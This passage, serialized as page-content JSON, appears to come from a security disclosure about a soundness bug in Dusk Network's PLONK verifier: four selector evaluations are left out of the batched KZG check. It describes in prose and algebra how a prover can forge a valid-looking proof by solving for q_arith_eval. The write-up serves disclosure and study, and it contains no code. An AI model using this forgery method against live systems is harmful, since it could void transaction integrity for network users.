constraints:",{"type":23,"tag":66928,"props":155663,"children":155664},{},[155665,155681],{"type":23,"tag":133333,"props":155666,"children":155667},{},[155668],{"type":23,"tag":133337,"props":155669,"children":155670},{},[155671,155676],{"type":23,"tag":133341,"props":155672,"children":155673},{},[155674],{"type":29,"value":155675},"Circuit check",{"type":23,"tag":133341,"props":155677,"children":155678},{},[155679],{"type":29,"value":155680},"Statement being checked",{"type":23,"tag":133361,"props":155682,"children":155683},{},[155684,155702,155720,155738,155756,155913,156053,156071],{"type":23,"tag":133337,"props":155685,"children":155686},{},[155687,155697],{"type":23,"tag":133368,"props":155688,"children":155689},{},[155690],{"type":23,"tag":940,"props":155691,"children":155694},{"href":155692,"rel":155693},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[944],[155695],{"type":29,"value":155696},"Merkle tree membership",{"type":23,"tag":133368,"props":155698,"children":155699},{},[155700],{"type":29,"value":155701},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":133337,"props":155703,"children":155704},{},[155705,155715],{"type":23,"tag":133368,"props":155706,"children":155707},{},[155708],{"type":23,"tag":940,"props":155709,"children":155712},{"href":155710,"rel":155711},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[944],[155713],{"type":29,"value":155714},"Input-note secret-key authorization",{"type":23,"tag":133368,"props":155716,"children":155717},{},[155718],{"type":29,"value":155719},"The prover knows the secret key controlling each input note",{"type":23,"tag":133337,"props":155721,"children":155722},{},[155723,155733],{"type":23,"tag":133368,"props":155724,"children":155725},{},[155726],{"type":23,"tag":940,"props":155727,"children":155730},{"href":155728,"rel":155729},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[944],[155731],{"type":29,"value":155732},"Nullifier correctness",{"type":23,"tag":133368,"props":155734,"children":155735},{},[155736],{"type":29,"value":155737},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":133337,"props":155739,"children":155740},{},[155741,155751],{"type":23,"tag":133368,"props":155742,"children":155743},{},[155744],{"type":23,"tag":940,"props":155745,"children":155748},{"href":155746,"rel":155747},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[944],[155749],{"type":29,"value":155750},"Output value commitment correctness",{"type":23,"tag":133368,"props":155752,"children":155753},{},[155754],{"type":29,"value":155755},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":133337,"props":155757,"children":155758},{},[155759,155769],{"type":23,"tag":133368,"props":155760,"children":155761},{},[155762],{"type":23,"tag":940,"props":155763,"children":155766},{"href":155764,"rel":155765},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[944],[155767],{"type":29,"value":155768},"Balance integrity",{"type":23,"tag":133368,"props":155770,"children":155771},{},[155772],{"type":23,"tag":71,"props":155773,"children":155775},{"className":155774},[15256,15257],[155776],{"type":23,"tag":75,"props":155777,"children":155779},{"className":155778},[15262],[155780],{"type":23,"tag":75,"props":155781,"children":155783},{"className":155782,"ariaHidden":15268},[15267],[155784,155824,155864,155896],{"type":23,"tag":75,"props":155785,"children":155787},{"className":155786},[15273],[155788,155792,155797,155801,155811,155815,155820],{"type":23,"tag":75,"props":155789,"children":155791},{"className":155790,"style":15384},[15278],[],{"type":23,"tag":75,"props":155793,"children":155795},{"className":155794,"style":32846},[32839,32844,32845],[155796],{"type":29,"value":119177},{"type":23,"tag":75,"props":155798,"children":155800},{"className":155799,"style":15402},[15363],[],{"type":23,"tag":75,"props":155802,"children":155804},{"className":155803},[15284,29],[155805],{"type":23,"tag":75,"props":155806,"children":155808},{"className":155807},[15284],[155809],{"type":29,"value":155810},"inputs",{"type":23,"tag":75,"props":155812,"children":155814},{"className":155813,"style":15461},[15363],[],{"type":23,"tag":75,"props":155816,"children":155818},{"className":155817},[15466],[155819],{"type":29,"value":212},{"type":23,"tag":75,"props":155821,"children":155823},{"className":155822,"style":15461},[15363],[],{"type":23,"tag":75,"props":155825,"children":155827},{"className":155826},[15273],[155828,155832,155837,155841,155851,155855,155860],{"type":23,"tag":75,"props":155829,"children":155831},{"className":155830,"style":15384},[15278],[],{"type":23,"tag":75,"props":155833,"children":155835},{"className":155834,"style":32846},[32839,32844,32845],[155836],{"type":29,"value":119177},{"type":23,"tag":75,"props":155838,"children":155840},{"className":155839,"style":15402},[15363],[],{"type":23,"tag":75,"props":155842,"children":155844},{"className":155843},[15284,29],[155845],{"type":23,"tag":75,"props":155846,"children":155848},{"className":155847},[15284],[155849],{"type":29,"value":155850},"outputs",{"type":23,"tag":75,"props":155852,"children":155854},{"className":155853,"style":15364},[15363],[],{"type":23,"tag":75,"props":155856,"children":155858},{"className":155857},[15369],[155859],{"type":29,"value":7862},{"type":23,"tag":75,"props":155861,"children":155863},{"className":155862,"style":15364},[15363],[],{"type":23,"tag":75,"props":155865,"children":155867},{"className":155866},[15273],[155868,155873,155883,155887,155892],{"type":23,"tag":75,"props":155869,"children":155872},{"className":155870,"style":155871},[15278],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":75,"props":155874,"children":155876},{"className":155875},[15284,29],[155877],{"type":23,"tag":75,"props":155878,"children":155880},{"className":155879},[15284],[155881],{"type":29,"value":155882},"fee",{"type":23,"tag":75,"props":155884,"children":155886},{"className":155885,"style":15364},[15363],[],{"type":23,"tag":75,"props":155888,"children":155890},{"className":155889},[15369],[155891],{"type":29,"value":7862},{"type":23,"tag":75,"props":155893,"children":155895},{"className":155894,"style":15364},[15363],[],{"type":23,"tag":75,"props":155897,"children":155899},{"className":155898},[15273],[155900,155904],{"type":23,"tag":75,"props":155901,"children":155903},{"className":155902,"style":125437},[15278],[],{"type":23,"tag":75,"props":155905,"children":155907},{"className":155906},[15284,29],[155908],{"type":23,"tag":75,"props":155909,"children":155911},{"className":155910},[15284],[155912],{"type":29,"value":73142},{"type":23,"tag":133337,"props":155914,"children":155915},{},[155916,155933],{"type":23,"tag":133368,"props":155917,"children":155918},{},[155919,155926,155927],{"type":23,"tag":940,"props":155920,"children":155923},{"href":155921,"rel":155922},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[944],[155924],{"type":29,"value":155925},"Range checks on inputs",{"type":29,"value":2721},{"type":23,"tag":940,"props":155928,"children":155931},{"href":155929,"rel":155930},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[944],[155932],{"type":29,"value":155850},{"type":23,"tag":133368,"props":155934,"children":155935},{},[155936,155938],{"type":29,"value":155937},"All note values lie in ",{"type":23,"tag":71,"props":155939,"children":155941},{"className":155940},[15256,15257],[155942],{"type":23,"tag":75,"props":155943,"children":155945},{"className":155944},[15262],[155946],{"type":23,"tag":75,"props":155947,"children":155949},{"className":155948,"ariaHidden":15268},[15267],[155950,156035],{"type":23,"tag":75,"props":155951,"children":155953},{"className":155952},[15273],[155954,155958,155963,155968,155973,155977,156022,156026,156031],{"type":23,"tag":75,"props":155955,"children":155957},{"className":155956,"style":125694},[15278],[],{"type":23,"tag":75,"props":155959,"children":155961},{"className":155960},[32932],[155962],{"type":29,"value":814},{"type":23,"tag":75,"props":155964,"children":155966},{"className":155965},[15284],[155967],{"type":29,"value":648},{"type":23,"tag":75,"props":155969,"children":155971},{"className":155970},[15395],[155972],{"type":29,"value":15398},{"type":23,"tag":75,"props":155974,"children":155976},{"className":155975,"style":15402},[15363],[],{"type":23,"tag":75,"props":155978,"children":155980},{"className":155979},[15284],[155981,155986],{"type":23,"tag":75,"props":155982,"children":155984},{"className":155983},[15284],[155985],{"type":29,"value":14409},{"type":23,"tag":75,"props":155987,"children":155989},{"className":155988},[15299],[155990],{"type":23,"tag":75,"props":155991,"children":155993},{"className":155992},[15304],[155994],{"type":23,"tag":75,"props":155995,"children":155997},{"className":155996},[15309],[155998],{"type":23,"tag":75,"props":155999,"children":156001},{"className":156000,"style":15279},[15314],[156002],{"type":23,"tag":75,"props":156003,"children":156004},{"style":15318},[156005,156009],{"type":23,"tag":75,"props":156006,"children":156008},{"className":156007,"style":15324},[15323],[],{"type":23,"tag":75,"props":156010,"children":156012},{"className":156011},[15329,15330,15331,15332],[156013],{"type":23,"tag":75,"props":156014,"children":156016},{"className":156015},[15284,15332],[156017],{"type":23,"tag":75,"props":156018,"children":156020},{"className":156019},[15284,15332],[156021],{"type":29,"value":40619},{"type":23,"tag":75,"props":156023,"children":156025},{"className":156024,"style":15364},[15363],[],{"type":23,"tag":75,"props":156027,"children":156029},{"className":156028},[15369],[156030],{"type":29,"value":15343},{"type":23,"tag":75,"props":156032,"children":156034},{"className":156033,"style":15364},[15363],[],{"type":23,"tag":75,"props":156036,"children":156038},{"className":156037},[15273],[156039,156043,156048],{"type":23,"tag":75,"props":156040,"children":156042},{"className":156041,"style":15384},[15278],[],{"type":23,"tag":75,"props":156044,"children":156046},{"className":156045},[15284],[156047],{"type":29,"value":7867},{"type":23,"tag":75,"props":156049,"children":156051},{"className":156050},[32954],[156052],{"type":29,"value":1610},{"type":23,"tag":133337,"props":156054,"children":156055},{},[156056,156066],{"type":23,"tag":133368,"props":156057,"children":156058},{},[156059],{"type":23,"tag":940,"props":156060,"children":156063},{"href":156061,"rel":156062},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[944],[156064],{"type":29,"value":156065},"Sender-authorship signatures",{"type":23,"tag":133368,"props":156067,"children":156068},{},[156069],{"type":29,"value":156070},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":133337,"props":156072,"children":156073},{},[156074,156084],{"type":23,"tag":133368,"props":156075,"children":156076},{},[156077],{"type":23,"tag":940,"props":156078,"children":156081},{"href":156079,"rel":156080},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[944],[156082],{"type":29,"value":156083},"Sender encryption correctness",{"type":23,"tag":133368,"props":156085,"children":156086},{},[156087],{"type":29,"value":156088},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":32,"props":156090,"children":156091},{},[156092,156094,156100,156102,156111],{"type":29,"value":156093},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":71,"props":156095,"children":156097},{"className":156096},[],[156098],{"type":29,"value":156099},"tx.public_inputs()",{"type":29,"value":156101}," via ",{"type":23,"tag":940,"props":156103,"children":156105},{"href":155541,"rel":156104},[944],[156106],{"type":23,"tag":71,"props":156107,"children":156109},{"className":156108},[],[156110],{"type":29,"value":155549},{"type":29,"value":557},{"type":23,"tag":32,"props":156113,"children":156114},{},[156115],{"type":29,"value":156116},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":30016,"props":156118,"children":156119},{},[],{"type":23,"tag":24,"props":156121,"children":156122},{"id":100636},[156123],{"type":29,"value":156124},"The bug",{"type":23,"tag":32,"props":156126,"children":156127},{},[156128,156130,156137,156139,156150],{"type":29,"value":156129},"In the ",{"type":23,"tag":940,"props":156131,"children":156134},{"href":156132,"rel":156133},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[944],[156135],{"type":29,"value":156136},"PLONK verification",{"type":29,"value":156138},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":940,"props":156140,"children":156143},{"href":156141,"rel":156142},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[944],[156144],{"type":23,"tag":71,"props":156145,"children":156147},{"className":156146},[],[156148],{"type":29,"value":156149},"E_evals",{"type":29,"value":156151},") are:",{"type":23,"tag":27910,"props":156153,"children":156154},{},[156155,156187,156212,156237],{"type":23,"tag":2801,"props":156156,"children":156157},{},[156158,156164,156165,156171,156172,156178,156179,156185],{"type":23,"tag":71,"props":156159,"children":156161},{"className":156160},[],[156162],{"type":29,"value":156163},"a_eval",{"type":29,"value":611},{"type":23,"tag":71,"props":156166,"children":156168},{"className":156167},[],[156169],{"type":29,"value":156170},"b_eval",{"type":29,"value":611},{"type":23,"tag":71,"props":156173,"children":156175},{"className":156174},[],[156176],{"type":29,"value":156177},"c_eval",{"type":29,"value":611},{"type":23,"tag":71,"props":156180,"children":156182},{"className":156181},[],[156183],{"type":29,"value":156184},"d_eval",{"type":29,"value":156186}," (witness)",{"type":23,"tag":2801,"props":156188,"children":156189},{},[156190,156196,156197,156203,156204,156210],{"type":23,"tag":71,"props":156191,"children":156193},{"className":156192},[],[156194],{"type":29,"value":156195},"s_sigma_1_eval",{"type":29,"value":611},{"type":23,"tag":71,"props":156198,"children":156200},{"className":156199},[],[156201],{"type":29,"value":156202},"s_sigma_2_eval",{"type":29,"value":611},{"type":23,"tag":71,"props":156205,"children":156207},{"className":156206},[],[156208],{"type":29,"value":156209},"s_sigma_3_eval",{"type":29,"value":156211}," (permutation)",{"type":23,"tag":2801,"props":156213,"children":156214},{},[156215,156221,156222,156228,156229,156235],{"type":23,"tag":71,"props":156216,"children":156218},{"className":156217},[],[156219],{"type":29,"value":156220},"a_w_eval",{"type":29,"value":611},{"type":23,"tag":71,"props":156223,"children":156225},{"className":156224},[],[156226],{"type":29,"value":156227},"b_w_eval",{"type":29,"value":611},{"type":23,"tag":71,"props":156230,"children":156232},{"className":156231},[],[156233],{"type":29,"value":156234},"d_w_eval",{"type":29,"value":156236}," (shifted witness)",{"type":23,"tag":2801,"props":156238,"children":156239},{},[156240,156246],{"type":23,"tag":71,"props":156241,"children":156243},{"className":156242},[],[156244],{"type":29,"value":156245},"z_eval",{"type":29,"value":156247}," (permutation accumulator)",{"type":23,"tag":32,"props":156249,"children":156250},{},[156251,156253,156257],{"type":29,"value":156252},"But the following selector evaluations were ",{"type":23,"tag":9690,"props":156254,"children":156255},{},[156256],{"type":29,"value":29711},{"type":29,"value":156258}," included:",{"type":23,"tag":27910,"props":156260,"children":156261},{},[156262,156273,156284,156295],{"type":23,"tag":2801,"props":156263,"children":156264},{},[156265,156271],{"type":23,"tag":71,"props":156266,"children":156268},{"className":156267},[],[156269],{"type":29,"value":156270},"q_arith_eval",{"type":29,"value":156272}," (arithmetic selector)",{"type":23,"tag":2801,"props":156274,"children":156275},{},[156276,156282],{"type":23,"tag":71,"props":156277,"children":156279},{"className":156278},[],[156280],{"type":29,"value":156281},"q_c_eval",{"type":29,"value":156283}," (constant selector)",{"type":23,"tag":2801,"props":156285,"children":156286},{},[156287,156293],{"type":23,"tag":71,"props":156288,"children":156290},{"className":156289},[],[156291],{"type":29,"value":156292},"q_l_eval",{"type":29,"value":156294}," (left selector)",{"type":23,"tag":2801,"props":156296,"children":156297},{},[156298,156304],{"type":23,"tag":71,"props":156299,"children":156301},{"className":156300},[],[156302],{"type":29,"value":156303},"q_r_eval",{"type":29,"value":156305}," (right selector)",{"type":23,"tag":32,"props":156307,"children":156308},{},[156309,156311,156318,156319,156326,156327,156334,156335,156342],{"type":29,"value":156310},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":23,"tag":940,"props":156312,"children":156315},{"href":156313,"rel":156314},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[944],[156316],{"type":29,"value":156317},"proof struct",{"type":29,"value":611},{"type":23,"tag":940,"props":156320,"children":156323},{"href":156321,"rel":156322},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[944],[156324],{"type":29,"value":156325},"transcript absorption",{"type":29,"value":611},{"type":23,"tag":940,"props":156328,"children":156331},{"href":156329,"rel":156330},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[944],[156332],{"type":29,"value":156333},"arithmetic widget",{"type":29,"value":611},{"type":23,"tag":940,"props":156336,"children":156339},{"href":156337,"rel":156338},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[944],[156340],{"type":29,"value":156341},"fixed-base ECC widget",{"type":29,"value":156343},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":23,"tag":32,"props":156345,"children":156346},{},[156347,156349,156353],{"type":29,"value":156348},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":23,"tag":9690,"props":156350,"children":156351},{},[156352],{"type":29,"value":29711},{"type":29,"value":156354}," bugs:",{"type":23,"tag":27910,"props":156356,"children":156357},{},[156358,156498],{"type":23,"tag":2801,"props":156359,"children":156360},{},[156361,156363,156408,156410,156416,156418,156423,156424,156429,156430,156435,156437,156443,156445,156490,156492,156497],{"type":29,"value":156362},"There is no prover-supplied ",{"type":23,"tag":71,"props":156364,"children":156366},{"className":156365},[15256,15257],[156367],{"type":23,"tag":75,"props":156368,"children":156370},{"className":156369},[15262],[156371],{"type":23,"tag":75,"props":156372,"children":156374},{"className":156373,"ariaHidden":15268},[15267],[156375],{"type":23,"tag":75,"props":156376,"children":156378},{"className":156377},[15273],[156379,156383,156388,156393,156398,156403],{"type":23,"tag":75,"props":156380,"children":156382},{"className":156381,"style":15384},[15278],[],{"type":23,"tag":75,"props":156384,"children":156386},{"className":156385},[15284,32803],[156387],{"type":29,"value":14432},{"type":23,"tag":75,"props":156389,"children":156391},{"className":156390},[32932],[156392],{"type":29,"value":643},{"type":23,"tag":75,"props":156394,"children":156396},{"className":156395,"style":123939},[15284,32803],[156397],{"type":29,"value":123942},{"type":23,"tag":75,"props":156399,"children":156401},{"className":156400,"style":103868},[15284,32803],[156402],{"type":29,"value":155072},{"type":23,"tag":75,"props":156404,"children":156406},{"className":156405},[32954],[156407],{"type":29,"value":1347},{"type":29,"value":156409}," field at all. ",{"type":23,"tag":71,"props":156411,"children":156413},{"className":156412},[],[156414],{"type":29,"value":156415},"ProofEvaluations",{"type":29,"value":156417}," contains ",{"type":23,"tag":71,"props":156419,"children":156421},{"className":156420},[],[156422],{"type":29,"value":156220},{"type":29,"value":611},{"type":23,"tag":71,"props":156425,"children":156427},{"className":156426},[],[156428],{"type":29,"value":156227},{"type":29,"value":5777},{"type":23,"tag":71,"props":156431,"children":156433},{"className":156432},[],[156434],{"type":29,"value":156234},{"type":29,"value":156436},", but no ",{"type":23,"tag":71,"props":156438,"children":156440},{"className":156439},[],[156441],{"type":29,"value":156442},"c_w_eval",{"type":29,"value":156444},", so the verifier never consumes an unbound ",{"type":23,"tag":71,"props":156446,"children":156448},{"className":156447},[15256,15257],[156449],{"type":23,"tag":75,"props":156450,"children":156452},{"className":156451},[15262],[156453],{"type":23,"tag":75,"props":156454,"children":156456},{"className":156455,"ariaHidden":15268},[15267],[156457],{"type":23,"tag":75,"props":156458,"children":156460},{"className":156459},[15273],[156461,156465,156470,156475,156480,156485],{"type":23,"tag":75,"props":156462,"children":156464},{"className":156463,"style":15384},[15278],[],{"type":23,"tag":75,"props":156466,"children":156468},{"className":156467},[15284,32803],[156469],{"type":29,"value":14432},{"type":23,"tag":75,"props":156471,"children":156473},{"className":156472},[32932],[156474],{"type":29,"value":643},{"type":23,"tag":75,"props":156476,"children":156478},{"className":156477,"style":123939},[15284,32803],[156479],{"type":29,"value":123942},{"type":23,"tag":75,"props":156481,"children":156483},{"className":156482,"style":103868},[15284,32803],[156484],{"type":29,"value":155072},{"type":23,"tag":75,"props":156486,"children":156488},{"className":156487},[32954],[156489],{"type":29,"value":1347},{"type":29,"value":156491}," claim (",{"type":23,"tag":940,"props":156493,"children":156495},{"href":156313,"rel":156494},[944],[156496],{"type":29,"value":156317},{"type":29,"value":31960},{"type":23,"tag":2801,"props":156499,"children":156500},{},[156501,156503,156590,156592,156684,156685,156692],{"type":29,"value":156502},"There is a fourth permutation commitment ",{"type":23,"tag":71,"props":156504,"children":156506},{"className":156505},[15256,15257],[156507],{"type":23,"tag":75,"props":156508,"children":156510},{"className":156509},[15262],[156511],{"type":23,"tag":75,"props":156512,"children":156514},{"className":156513,"ariaHidden":15268},[15267],[156515],{"type":23,"tag":75,"props":156516,"children":156518},{"className":156517},[15273],[156519,156523,156528,156585],{"type":23,"tag":75,"props":156520,"children":156522},{"className":156521,"style":15384},[15278],[],{"type":23,"tag":75,"props":156524,"children":156526},{"className":156525},[32932],[156527],{"type":29,"value":814},{"type":23,"tag":75,"props":156529,"children":156531},{"className":156530},[15284],[156532,156537],{"type":23,"tag":75,"props":156533,"children":156535},{"className":156534,"style":103868},[15284,32803],[156536],{"type":29,"value":154967},{"type":23,"tag":75,"props":156538,"children":156540},{"className":156539},[15299],[156541],{"type":23,"tag":75,"props":156542,"children":156544},{"className":156543},[15304,32857],[156545,156574],{"type":23,"tag":75,"props":156546,"children":156548},{"className":156547},[15309],[156549,156569],{"type":23,"tag":75,"props":156550,"children":156552},{"className":156551,"style":103434},[15314],[156553],{"type":23,"tag":75,"props":156554,"children":156555},{"style":103915},[156556,156560],{"type":23,"tag":75,"props":156557,"children":156559},{"className":156558,"style":15324},[15323],[],{"type":23,"tag":75,"props":156561,"children":156563},{"className":156562},[15329,15330,15331,15332],[156564],{"type":23,"tag":75,"props":156565,"children":156567},{"className":156566},[15284,15332],[156568],{"type":29,"value":28751},{"type":23,"tag":75,"props":156570,"children":156572},{"className":156571},[32960],[156573],{"type":29,"value":32963},{"type":23,"tag":75,"props":156575,"children":156577},{"className":156576},[15309],[156578],{"type":23,"tag":75,"props":156579,"children":156581},{"className":156580,"style":103465},[15314],[156582],{"type":23,"tag":75,"props":156583,"children":156584},{},[],{"type":23,"tag":75,"props":156586,"children":156588},{"className":156587},[32954],[156589],{"type":29,"value":1610},{"type":29,"value":156591}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":23,"tag":71,"props":156593,"children":156595},{"className":156594},[15256,15257],[156596],{"type":23,"tag":75,"props":156597,"children":156599},{"className":156598},[15262],[156600],{"type":23,"tag":75,"props":156601,"children":156603},{"className":156602,"ariaHidden":15268},[15267],[156604],{"type":23,"tag":75,"props":156605,"children":156607},{"className":156606},[15273],[156608,156612,156669,156674,156679],{"type":23,"tag":75,"props":156609,"children":156611},{"className":156610,"style":15384},[15278],[],{"type":23,"tag":75,"props":156613,"children":156615},{"className":156614},[15284],[156616,156621],{"type":23,"tag":75,"props":156617,"children":156619},{"className":156618,"style":103868},[15284,32803],[156620],{"type":29,"value":154967},{"type":23,"tag":75,"props":156622,"children":156624},{"className":156623},[15299],[156625],{"type":23,"tag":75,"props":156626,"children":156628},{"className":156627},[15304,32857],[156629,156658],{"type":23,"tag":75,"props":156630,"children":156632},{"className":156631},[15309],[156633,156653],{"type":23,"tag":75,"props":156634,"children":156636},{"className":156635,"style":103434},[15314],[156637],{"type":23,"tag":75,"props":156638,"children":156639},{"style":103915},[156640,156644],{"type":23,"tag":75,"props":156641,"children":156643},{"className":156642,"style":15324},[15323],[],{"type":23,"tag":75,"props":156645,"children":156647},{"className":156646},[15329,15330,15331,15332],[156648],{"type":23,"tag":75,"props":156649,"children":156651},{"className":156650},[15284,15332],[156652],{"type":29,"value":28751},{"type":23,"tag":75,"props":156654,"children":156656},{"className":156655},[32960],[156657],{"type":29,"value":32963},{"type":23,"tag":75,"props":156659,"children":156661},{"className":156660},[15309],[156662],{"type":23,"tag":75,"props":156663,"children":156665},{"className":156664,"style":103465},[15314],[156666],{"type":23,"tag":75,"props":156667,"children":156668},{},[],{"type":23,"tag":75,"props":156670,"children":156672},{"className":156671},[32932],[156673],{"type":29,"value":643},{"type":23,"tag":75,"props":156675,"children":156677},{"className":156676,"style":123939},[15284,32803],[156678],{"type":29,"value":123942},{"type":23,"tag":75,"props":156680,"children":156682},{"className":156681},[32954],[156683],{"type":29,"value":1347},{"type":29,"value":183},{"type":23,"tag":940,"props":156686,"children":156689},{"href":156687,"rel":156688},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[944],[156690],{"type":29,"value":156691},"permutation verifier key",{"type":29,"value":31960},{"type":23,"tag":32,"props":156694,"children":156695},{},[156696,156698,156708],{"type":29,"value":156697},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":23,"tag":940,"props":156699,"children":156702},{"href":156700,"rel":156701},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[944],[156703],{"type":23,"tag":71,"props":156704,"children":156706},{"className":156705},[],[156707],{"type":29,"value":156149},{"type":29,"value":156709},", which leaves the master equation underconstrained.",{"type":23,"tag":32,"props":156711,"children":156712},{},[156713],{"type":23,"tag":15189,"props":156714,"children":156717},{"alt":156715,"src":156716},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":23,"tag":30016,"props":156719,"children":156720},{},[],{"type":23,"tag":24,"props":156722,"children":156724},{"id":156723},"the-exploitation",[156725],{"type":29,"value":156726},"The exploitation",{"type":23,"tag":32,"props":156728,"children":156729},{},[156730],{"type":29,"value":156731},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":23,"tag":32,"props":156733,"children":156734},{},[156735,156737,156743,156745,156750,156752,156757,156759,156765],{"type":29,"value":156736},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":23,"tag":71,"props":156738,"children":156740},{"className":156739},[],[156741],{"type":29,"value":156742},"z_challenge",{"type":29,"value":156744},", it computes what the linearization polynomial ",{"type":23,"tag":9690,"props":156746,"children":156747},{},[156748],{"type":29,"value":156749},"should",{"type":29,"value":156751}," evaluate to for the pairing check to pass, then solves for ",{"type":23,"tag":71,"props":156753,"children":156755},{"className":156754},[],[156756],{"type":29,"value":156270},{"type":29,"value":156758},", the single free variable that makes the verification equation balance (setting ",{"type":23,"tag":71,"props":156760,"children":156762},{"className":156761},[],[156763],{"type":29,"value":156764},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":29,"value":31960},{"type":23,"tag":32,"props":156767,"children":156768},{},[156769],{"type":23,"tag":15189,"props":156770,"children":156773},{"alt":156771,"src":156772},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":23,"tag":32,"props":156775,"children":156776},{},[156777,156779,156819,156821,156846,156848,156853],{"type":29,"value":156778},"To achieve this one may compute the linearization polynomial ",{"type":23,"tag":71,"props":156780,"children":156782},{"className":156781},[15256,15257],[156783],{"type":23,"tag":75,"props":156784,"children":156786},{"className":156785},[15262],[156787],{"type":23,"tag":75,"props":156788,"children":156790},{"className":156789,"ariaHidden":15268},[15267],[156791],{"type":23,"tag":75,"props":156792,"children":156794},{"className":156793},[15273],[156795,156799,156804,156809,156814],{"type":23,"tag":75,"props":156796,"children":156798},{"className":156797,"style":15384},[15278],[],{"type":23,"tag":75,"props":156800,"children":156802},{"className":156801,"style":103382},[15284,32803],[156803],{"type":29,"value":104201},{"type":23,"tag":75,"props":156805,"children":156807},{"className":156806},[32932],[156808],{"type":29,"value":643},{"type":23,"tag":75,"props":156810,"children":156812},{"className":156811},[15284,32803],[156813],{"type":29,"value":30499},{"type":23,"tag":75,"props":156815,"children":156817},{"className":156816},[32954],[156818],{"type":29,"value":1347},{"type":29,"value":156820}," with all selectors set to zero, evaluating it at ",{"type":23,"tag":71,"props":156822,"children":156824},{"className":156823},[15256,15257],[156825],{"type":23,"tag":75,"props":156826,"children":156828},{"className":156827},[15262],[156829],{"type":23,"tag":75,"props":156830,"children":156832},{"className":156831,"ariaHidden":15268},[15267],[156833],{"type":23,"tag":75,"props":156834,"children":156836},{"className":156835},[15273],[156837,156841],{"type":23,"tag":75,"props":156838,"children":156840},{"className":156839,"style":121223},[15278],[],{"type":23,"tag":75,"props":156842,"children":156844},{"className":156843,"style":123939},[15284,32803],[156845],{"type":29,"value":123942},{"type":29,"value":156847},", and comparing to the target value; the difference divided by the coefficient of ",{"type":23,"tag":71,"props":156849,"children":156851},{"className":156850},[],[156852],{"type":29,"value":156270},{"type":29,"value":156854}," gives the required value in a single field division.",{"type":23,"tag":30016,"props":156856,"children":156857},{},[],{"type":23,"tag":24,"props":156859,"children":156861},{"id":156860},"impact-on-dusk-network",[156862],{"type":29,"value":156863},"Impact on Dusk Network",{"type":23,"tag":32,"props":156865,"children":156866},{},[156867,156869,156876],{"type":29,"value":156868},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof 